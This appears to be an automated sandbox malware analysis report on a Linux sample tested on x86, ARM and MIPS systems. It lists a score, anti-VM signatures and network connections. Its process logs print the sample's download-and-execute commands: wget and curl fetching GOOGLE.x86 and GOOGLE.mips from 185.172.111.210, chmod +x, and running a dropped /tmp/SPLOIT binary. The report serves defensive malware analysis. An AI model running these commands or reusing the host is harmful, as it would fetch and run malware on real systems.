Malware Analysis Report

2024-10-24 21:20

Sample ID 240729-fybe5svdlj
Target 3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118
SHA256 06a10886d5e417be9f942bae7221d301552d490f2c4914e163a766ec4731cbeb
Tags
antivm
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

06a10886d5e417be9f942bae7221d301552d490f2c4914e163a766ec4731cbeb

Threat Level: Shows suspicious behavior

The file 3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118 was found to be: Shows suspicious behavior.

Malicious Activity Summary

antivm

Executes dropped EXE

Checks CPU configuration

Writes file to tmp directory

Reads runtime system information

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-29 05:16

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-29 05:16

Reported

2024-07-29 11:25

Platform

ubuntu1804-amd64-20240729-en

Max time kernel

130s

Max time network

146s

Command Line

[/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118]

Signatures

N/A

Processes

/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118

[/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118]

/usr/bin/wget

[wget http://185.172.111.210/bins/GOOGLE.x86]

Network

Country Destination Domain Proto
NL 185.172.111.210:80 tcp
N/A 224.0.0.251:5353 udp
GB 185.125.188.62:443 tcp
GB 185.125.188.62:443 tcp
US 151.101.129.91:443 tcp
US 151.101.129.91:443 tcp
GB 89.187.167.39:443 tcp
NL 185.172.111.210:80 tcp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-29 05:16

Reported

2024-07-29 10:47

Platform

debian9-armhf-20240729-en

Max time kernel

139s

Max time network

148s

Command Line

[/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118]

Signatures

Executes dropped EXE

Description Indicator Process Target
N/A /tmp/SPLOIT /tmp/SPLOIT N/A

Checks CPU configuration

antivm
Description Indicator Process Target
File opened for reading /proc/cpuinfo /usr/bin/curl N/A

Reads runtime system information

Description Indicator Process Target
File opened for reading /proc/sys/crypto/fips_enabled /usr/bin/curl N/A
File opened for reading /proc/self/auxv /usr/bin/curl N/A

Writes file to tmp directory

Description Indicator Process Target
File opened for modification /tmp/SPLOIT /tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118 N/A

Processes

/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118

[/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118]

/usr/bin/wget

[wget http://185.172.111.210/bins/GOOGLE.x86]

/usr/bin/curl

[curl -O http://185.172.111.210/bins/GOOGLE.x86]

/bin/cat

[cat GOOGLE.x86]

/bin/chmod

[chmod +x 3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118 SPLOIT]

/tmp/SPLOIT

[./SPLOIT x86.GOOGLE]

/usr/bin/wget

[wget http://185.172.111.210/bins/GOOGLE.mips]

Network

Country Destination Domain Proto
NL 185.172.111.210:80 tcp
NL 185.172.111.210:80 tcp
NL 185.172.111.210:80 tcp

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-07-29 05:16

Reported

2024-07-29 11:03

Platform

debian9-mipsbe-20240729-en

Max time kernel

132s

Max time network

147s

Command Line

[/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118]

Signatures

N/A

Processes

/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118

[/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118]

/usr/bin/wget

[wget http://185.172.111.210/bins/GOOGLE.x86]

Network

Country Destination Domain Proto
NL 185.172.111.210:80 tcp
NL 185.172.111.210:80 tcp

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-07-29 05:16

Reported

2024-07-29 11:15

Platform

debian9-mipsel-20240729-en

Max time kernel

131s

Max time network

147s

Command Line

[/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118]

Signatures

N/A

Processes

/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118

[/tmp/3964a03b43bd29681a1cbabe37ff0be5_JaffaCakes118]

/usr/bin/wget

[wget http://185.172.111.210/bins/GOOGLE.x86]

Network

Country Destination Domain Proto
NL 185.172.111.210:80 tcp
NL 185.172.111.210:80 tcp

Files

N/A